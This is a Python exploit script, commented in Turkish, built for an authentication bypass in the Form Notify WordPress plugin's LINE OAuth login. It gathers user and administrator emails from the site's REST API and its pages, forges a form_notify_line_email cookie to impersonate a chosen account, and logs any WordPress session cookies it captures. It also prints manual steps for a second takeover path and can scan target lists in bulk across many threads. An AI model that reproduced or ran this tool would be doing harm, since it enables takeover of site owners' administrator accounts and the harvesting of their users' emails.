#!/usr/bin/env python3 """ CVE — Form Notify WordPress Plugin LINE OAuth Authentication Bypass → Account Takeover Etkilenen Sürümler: <= 1.1.08 : Path A — Cookie Injection (email gerekmez) <= 1.1.10 : Path B — Email Match (LINE hesabı gerekir) Saldırı Zinciri: Path A: 1. Hedef kullanıcı emailini tespit et (wp-json/wp/v2/users) 2. form_notify_line_email cookie'sini hedef email ile set et 3. LINE OAuth flow başlat → email scope VERMEDEn tamamla 4. Plugin cookie'yi okur → hedef kullanıcı olarak authenticate eder Path B: 1. Hedef kullanıcı emailini tespit et 2. LINE OAuth flow başlat → email scope VERErek tamamla 3. Plugin LINE email'ini kullanarak get_user_by('email') çağırır 4. Linkage kontrolü yok → hedef kullanıcı olarak authenticate eder """ import requests import argparse import json import re import sys from concurrent.futures import ThreadPoolExecutor, as_completed from threading import Lock from urllib.parse import urlencode, urlparse, parse_qs requests.packages.urllib3.disable_warnings() G = "\033[92m"; R = "\033[91m"; Y = "\033[93m" C = "\033[96m"; D = "\033[90m"; B = "\033[1m"; X = "\033[0m" _lock = Lock() _counter = [0] def out(msg): with _lock: sys.stdout.write("\r" + " " * 90 + "\r") sys.stdout.write(msg + "\n") sys.stdout.flush() def progress(total): with _lock: _counter[0] += 1 n = _counter[0] pct = n * 100 // total bar = "█" * (pct // 5) + "░" * (20 - pct // 5) sys.stdout.write(f"\r[{bar}] {n}/{total} ({pct}%) ") sys.stdout.flush() # ══════════════════════════════════════════════════════════════ # HEDEF KULLANICI TESPİTİ # ══════════════════════════════════════════════════════════════ def get_users_from_rest(sess, base): """ WordPress REST API'den kullanıcı listesi çek. GET /wp-json/wp/v2/users """ users = [] endpoints = [ "/wp-json/wp/v2/users", "/wp-json/wp/v2/users?per_page=100", "/wp-json/wp/v2/users?roles=administrator", ] for ep in endpoints: try: r = sess.get(base + ep, timeout=8) if r.status_code == 200: data = r.json() if isinstance(data, list): for u in data: email = u.get("email", "") slug = u.get("slug", "") name = u.get("name", "") uid = u.get("id", 0) roles = u.get("roles", []) # Email bazen gizlenir — slug'dan tahmin et if not email and slug: email = f"{slug}@{urlparse(base).netloc}" if email or slug: users.append({ "id": uid, "name": name, "email": email, "slug": slug, "roles": roles, }) if users: break except: continue return users def get_admin_email_from_page(sess, base): """ Sayfa kaynağından admin email adresini çıkarmaya çalış. - Lost password form - Author sayfaları - Contact bilgileri - wp-login.php """ emails = [] EMAIL_RE = re.compile( r'[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}' ) pages = [ "/wp-login.php?action=lostpassword", "/contact", "/contact-us", "/about", "/about-us", "/?author=1", "/?author=2", "/wp-json/form-notify/v1/login", ] for path in pages: try: r = sess.get(base + path, timeout=5, allow_redirects=True) found = EMAIL_RE.findall(r.text) for e in found: # Sistem emaillerini filtrele if not any(x in e for x in [ "example.com", "wordpress.org", "w3.org", "schema.org", "jquery" ]): emails.append(e) except: continue # Tekrarları kaldır, önce admin/info olanları sırala seen = [] for e in emails: if e not in seen: seen.append(e) seen.sort(key=lambda e: ( 0 if any(x in e.lower() for x in ["admin","info","contact","support"]) else 1 )) return seen def discover_targets(sess, base): """ Tüm yöntemleri kullanarak hedef kullanıcıları bul. Döndürür: [{"email": ..., "name": ..., "roles": [...]}] """ targets = [] # 1. REST API rest_users = get_users_from_rest(sess, base) for u in rest_users: if u["email"]: targets.append(u) # 2. Sayfa tarama if not targets: emails = get_admin_email_from_page(sess, base) for e in emails: targets.append({"email": e, "name": "", "roles": [], "id": 0}) return targets # ══════════════════════════════════════════════════════════════ # FORM NOTIFY EKLENTI TESPİTİ # ══════════════════════════════════════════════════════════════ def detect_plugin(sess, base): """ Form Notify eklentisinin kurulu ve LINE Login'in aktif olup olmadığını kontrol et. """ indicators = { "plugin_installed": False, "line_login_active": False, "version": None, "login_url": None, "callback_url": None, } # REST endpoint varlığı for ep in [ "/wp-json/form-notify/v1/login", "/wp-json/form-notify/v1/callback", ]: try: r = sess.get(base + ep, timeout=5, allow_redirects=False) if r.status_code in (200, 302, 400, 401, 403): indicators["plugin_installed"] = True if "login" in ep: indicators["login_url"] = base + ep indicators["line_login_active"] = True if "callback" in ep: indicators["callback_url"] = base + ep except: continue # Eklenti dosyası varlığı try: r = sess.get( base + "/wp-content/plugins/form-notify/readme.txt", timeout=5 ) if r.status_code == 200: indicators["plugin_installed"] = True # Sürüm tespiti m = re.search(r'Stable tag:\s*([\d.]+)', r.text) if m: indicators["version"] = m.group(1) except: pass # Sayfa kaynağında LINE login butonu try: r = sess.get(base, timeout=5) if any(x in r.text for x in [ "form-notify", "form_notify", "line-login", "line_login", "form-notify/v1/login", ]): indicators["plugin_installed"] = True if "form-notify/v1/login" in r.text: indicators["line_login_active"] = True except: pass return indicators # ══════════════════════════════════════════════════════════════ # PATH A — COOKIE INJECTION (<= 1.1.08) # ══════════════════════════════════════════════════════════════ def path_a_cookie_injection(sess, base, target_email, plugin_info): """ form_notify_line_email cookie'sini hedef email ile set ederek LINE OAuth flow başlat. Adımlar: 1. Cookie'yi set et 2. /wp-json/form-notify/v1/login endpoint'ine istek at 3. LINE OAuth URL'ini al 4. State parametresini çıkar 5. Callback'i doğrudan simüle et (email scope olmadan) """ login_url = plugin_info.get("login_url") or (base + "/wp-json/form-notify/v1/login") callback_url = plugin_info.get("callback_url") or (base + "/wp-json/form-notify/v1/callback") # Cookie set et sess.cookies.set( "form_notify_line_email", target_email, domain=urlparse(base).netloc, path="/" ) try: # Login endpoint'ini çağır — LINE OAuth URL'ini al r = sess.get(login_url, timeout=8, allow_redirects=False) line_oauth_url = None if r.status_code in (301, 302, 307, 308): line_oauth_url = r.headers.get("Location", "") elif r.status_code == 200: # JSON yanıt içinde URL olabilir try: data = r.json() line_oauth_url = data.get("url") or data.get("redirect_url", "") except: m = re.search(r'https://access\.line\.me[^\s"\'<>]+', r.text) if m: line_oauth_url = m.group(0) if not line_oauth_url: return {"status": "NO_OAUTH_URL", "path": "A"} # State parametresini çıkar parsed = urlparse(line_oauth_url) params = parse_qs(parsed.query) state = params.get("state", [""])[0] if not state: return {"status": "NO_STATE", "path": "A"} # Callback'i simüle et — email scope olmadan # LINE normalde code ve state döndürür # Burada mock bir code kullanıyoruz; gerçek testte # LINE'dan alınan gerçek code kullanılmalıdır callback_params = { "code": "mock_auth_code_path_a", "state": state, } r2 = sess.get( callback_url, params=callback_params, cookies={"form_notify_line_email": target_email}, timeout=10, allow_redirects=True, ) # Oturum açıldı mı kontrol et auth_cookies = { k: v for k, v in sess.cookies.items() if "wordpress_logged_in" in k or "wordpress_sec" in k } if auth_cookies: return { "status": "AUTH_SUCCESS", "path": "A", "target_email": target_email, "cookies": auth_cookies, "oauth_url": line_oauth_url, } # Redirect hedefine bak final_url = r2.url if "/wp-admin" in final_url or "dashboard" in final_url: return { "status": "REDIRECT_ADMIN", "path": "A", "target_email": target_email, "final_url": final_url, "oauth_url": line_oauth_url, } return { "status": "CALLBACK_SENT", "path": "A", "note": "Manuel tamamlama gerekiyor — LINE OAuth URL'ini tarayıcıda aç", "oauth_url": line_oauth_url, "state": state, "cookie": f"form_notify_line_email={target_email}", } except requests.exceptions.Timeout: return {"status": "TIMEOUT", "path": "A"} except requests.exceptions.ConnectionError: return {"status": "CONN_ERR", "path": "A"} except Exception as e: return {"status": "EXCEPTION", "path": "A", "err": str(e)} # ══════════════════════════════════════════════════════════════ # PATH B — EMAIL MATCH (<= 1.1.10) # ══════════════════════════════════════════════════════════════ def path_b_email_match(sess, base, target_email, plugin_info): """ LINE hesabı hedef email ile kayıtlıysa OAuth flow ile doğrudan authenticate ol. NOT: Bu path gerçek LINE hesabı gerektirir. Bu fonksiyon flow'u başlatır ve manuel tamamlama için gerekli bilgileri döndürür. """ login_url = plugin_info.get("login_url") or (base + "/wp-json/form-notify/v1/login") try: r = sess.get(login_url, timeout=8, allow_redirects=False) line_oauth_url = None if r.status_code in (301, 302, 307, 308): line_oauth_url = r.headers.get("Location", "") elif r.status_code == 200: try: data = r.json() line_oauth_url = data.get("url") or data.get("redirect_url", "") except: m = re.search(r'https://access\.line\.me[^\s"\'<>]+', r.text) if m: line_oauth_url = m.group(0) if not line_oauth_url: return {"status": "NO_OAUTH_URL", "path": "B"} parsed = urlparse(line_oauth_url) params = parse_qs(parsed.query) state = params.get("state", [""])[0] return { "status": "MANUAL_REQUIRED", "path": "B", "target_email": target_email, "oauth_url": line_oauth_url, "state": state, "instructions": [ f"1. LINE hesabını {target_email} ile kaydet/giriş yap", f"2. Şu URL'yi tarayıcıda aç: {line_oauth_url}", "3. LINE consent ekranında EMAIL iznini ver", "4. Callback sonrası /wp-admin/'e git", ], } except requests.exceptions.Timeout: return {"status": "TIMEOUT", "path": "B"} except Exception as e: return {"status": "EXCEPTION", "path": "B", "err": str(e)} # ══════════════════════════════════════════════════════════════ # OTURUM DOĞRULAMA # ══════════════════════════════════════════════════════════════ def verify_session(sess, base): """ Mevcut session ile /wp-json/wp/v2/users/me endpoint'ini çağır. Başarılı ise kullanıcı bilgilerini döndür. """ try: r = sess.get( base + "/wp-json/wp/v2/users/me", timeout=8 ) if r.status_code == 200: data = r.json() return { "verified": True, "id": data.get("id"), "name": data.get("name"), "email": data.get("email"), "roles": data.get("roles", []), } except: pass return {"verified": False} # ══════════════════════════════════════════════════════════════ # TEKİL HEDEF KONTROLÜ # ══════════════════════════════════════════════════════════════ def check(target, args, total=1): if not target.startswith("http"): target = "http://" + target sess = requests.Session() sess.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" sess.verify = False if args.proxy: sess.proxies = {"http": args.proxy, "https": args.proxy} # Bağlantı testi try: r = sess.get(target, timeout=8, allow_redirects=True) base = r.url.rstrip("/") except: progress(total) return {"status": "UNREACH", "url": target} # ── Adım 1: Eklenti tespiti ── plugin_info = detect_plugin(sess, base) if not plugin_info["plugin_installed"]: progress(total) return {"status": "NO_PLUGIN", "url": base} if not plugin_info["line_login_active"]: progress(total) return { "status": "PLUGIN_NO_LINE", "url": base, "version": plugin_info.get("version"), } # ── Adım 2: Hedef kullanıcıları bul ── if args.email: targets = [{"email": args.email, "name": "manual", "roles": [], "id": 0}] else: targets = discover_targets(sess, base) if not targets: progress(total) return {"status": "NO_TARGETS", "url": base} # ── Adım 3: Saldırı path'ini belirle ── version = plugin_info.get("version") or "unknown" results = [] for tgt in targets[:args.max_users]: email = tgt.get("email", "") if not email: continue # Path A — Cookie Injection (<= 1.1.08) if args.path in ("A", "both"): res_a = path_a_cookie_injection( sess, base, email, plugin_info ) res_a["url"] = base res_a["version"] = version res_a["target"] = tgt results.append(res_a) # Başarılı ise doğrula if res_a["status"] in ("AUTH_SUCCESS", "REDIRECT_ADMIN"): v = verify_session(sess, base) res_a["session_verified"] = v # Path B — Email Match (<= 1.1.10) if args.path in ("B", "both"): res_b = path_b_email_match( sess, base, email, plugin_info ) res_b["url"] = base res_b["version"] = version res_b["target"] = tgt results.append(res_b) progress(total) if not results: return {"status": "NO_RESULTS", "url": base} # En kritik sonucu öne çıkar results.sort(key=lambda r: { "AUTH_SUCCESS": 0, "REDIRECT_ADMIN": 1, "CALLBACK_SENT": 2, "MANUAL_REQUIRED": 3, }.get(r["status"], 9)) return {"status": "DONE", "url": base, "results": results} # ══════════════════════════════════════════════════════════════ # ÇIKTI YAZICI # ══════════════════════════════════════════════════════════════ def print_result(res, fout=None): s = res.get("status", "") u = res.get("url", "") if s == "DONE": for r in res.get("results", []): rs = r.get("status", "") path = r.get("path", "?") email = r.get("target", {}).get("email", "") ver = r.get("version", "?") if rs == "AUTH_SUCCESS": sv = r.get("session_verified", {}) out(f"{G}[★ AUTH OK ] {u} (Path {path})") out(f" Hedef Email : {email}") out(f" Sürüm : {ver}") out(f" OAuth URL : {r.get('oauth_url','')[:80]}") if sv.get("verified"): out(f" Kullanıcı : {sv.get('name')} <{sv.get('email')}> roles={sv.get('roles')}") out(f" Cookie : {r.get('cookies','')}{X}") if fout: fout.write( f"AUTH {u} email={email} path={path} " f"ver={ver} cookies={r.get('cookies','')}\n" ) fout.flush() elif rs == "REDIRECT_ADMIN": out(f"{G}[★ WP-ADMIN ] {u} (Path {path})") out(f" Hedef Email : {email}") out(f" Final URL : {r.get('final_url','')}{X}") if fout: fout.write(f"ADMIN {u} email={email} final={r.get('final_url','')}\n") fout.flush() elif rs == "CALLBACK_SENT": out(f"{Y}[~ MANUAL ] {u} (Path {path} — Manuel tamamlama)") out(f" Hedef Email : {email}") out(f" Cookie Set : {r.get('cookie','')}") out(f" OAuth URL : {r.get('oauth_url','')[:80]}") out(f" State : {r.get('state','')}{X}") elif rs == "MANUAL_REQUIRED": out(f"{C}[~ PATH B ] {u} (Path B — LINE hesabı gerekli)") out(f" Hedef Email : {email}") out(f" OAuth URL : {r.get('oauth_url','')[:80]}") for inst in r.get("instructions", []): out(f" {inst}") out(X) else: out(f"{D}[- {rs:12s}] {u} path={path} {r.get('err','')[:60]}{X}") elif s == "NO_PLUGIN": out(f"{D}[- NO_PLUGIN ] {u} (form-notify kurulu değil){X}") elif s == "PLUGIN_NO_LINE": out(f"{D}[- NO_LINE ] {u} (LINE Login aktif değil){X}") elif s == "NO_TARGETS": out(f"{Y}[~ NO_TARGET ] {u} (kullanıcı emaili bulunamadı){X}") elif s == "UNREACH": out(f"{D}[~ UNREACH ] {u}{X}") else: out(f"{D}[- {s:12s}] {u}{X}") # ══════════════════════════════════════════════════════════════ # MAIN # ══════════════════════════════════════════════════════════════ def main(): ap = argparse.ArgumentParser( description="Form Notify LINE OAuth Auth Bypass — Account Takeover Scanner", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Örnekler: # Tekil hedef — otomatik email keşfi python form_notify_rce.py -u http://hedef.com # Belirli email ile Path A (cookie injection) python form_notify_rce.py -u http://hedef.com --email admin@hedef.com --path A # Path B (email match) — manuel tamamlama python form_notify_rce.py -u http://hedef.com --email admin@hedef.com --path B # Her iki path birden python form_notify_rce.py -u http://hedef.com --email admin@hedef.com --path both # Toplu tarama python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt # Proxy ile (Burp Suite) python form_notify_rce.py -u http://hedef.com --proxy http://127.0.0.1:8080 """ ) group = ap.add_mutually_exclusive_group(required=True) group.add_argument("-u", "--url", help="Tekil hedef URL") group.add_argument("-l", "--list", help="Hedef listesi dosyası") ap.add_argument("-t", "--threads", type=int, default=10) ap.add_argument("-o", "--output", default="auth_bypass.txt") ap.add_argument("--email", help="Hedef kullanıcı emaili (opsiyonel)") ap.add_argument("--path", choices=["A", "B", "both"], default="both", help="Saldırı path'i (A=cookie, B=email match, both=ikisi)") ap.add_argument("--max-users", type=int, default=5, help="Hedef başına max kullanıcı sayısı") ap.add_argument("--proxy", help="Proxy URL") ap.add_argument("--timeout", type=int, default=10) args = ap.parse_args() # ── Tekil hedef ── if args.url: print(f"\n{B}[*] Hedef : {args.url}") print(f"[*] Path : {args.path}") print(f"[*] Email : {args.email or 'otomatik keşif'}{X}\n") res = check(args.url, args, total=1) print_result(res) if res.get("status") == "DONE": with open(args.output, "w") as f: for r in res.get("results", []): if r.get("status") in ("AUTH_SUCCESS", "REDIRECT_ADMIN"): f.write( f"{res['url']} " f"email={r.get('target',{}).get('email','')} " f"path={r.get('path','')}\n" ) print(f"\n{G}[+] Kaydedildi → {args.output}{X}") return # ── Toplu tarama ── with open(args.list) as f: targets = [l.strip() for l in f if l.strip()] total = len(targets) _counter[0] = 0 print(f"\n{B}[*] {total} hedef | Form Notify LINE OAuth Bypass | threads={args.threads}{X}\n") stats = {} with open(args.output, "w") as fout: with ThreadPoolExecutor(max_workers=args.threads) as ex: futs = {ex.submit(check, t, args, total): t for t in targets} for fut in as_completed(futs): res = fut.result() s = res.get("status", "ERR") stats[s] = stats.get(s, 0) + 1 print_result(res, fout) sys.stdout.write("\n") print(f"\n{B}{'─'*62}") for k, v in sorted(stats.items(), key=lambda x: -x[1]): bar = "█" * min(v, 30) print(f" {k:28s}: {v:4d} {bar}") print(f"{'─'*62}") print(f" Auth bypass → {args.output}") print(f"{'─'*62}{X}") if __name__ == "__main__": main()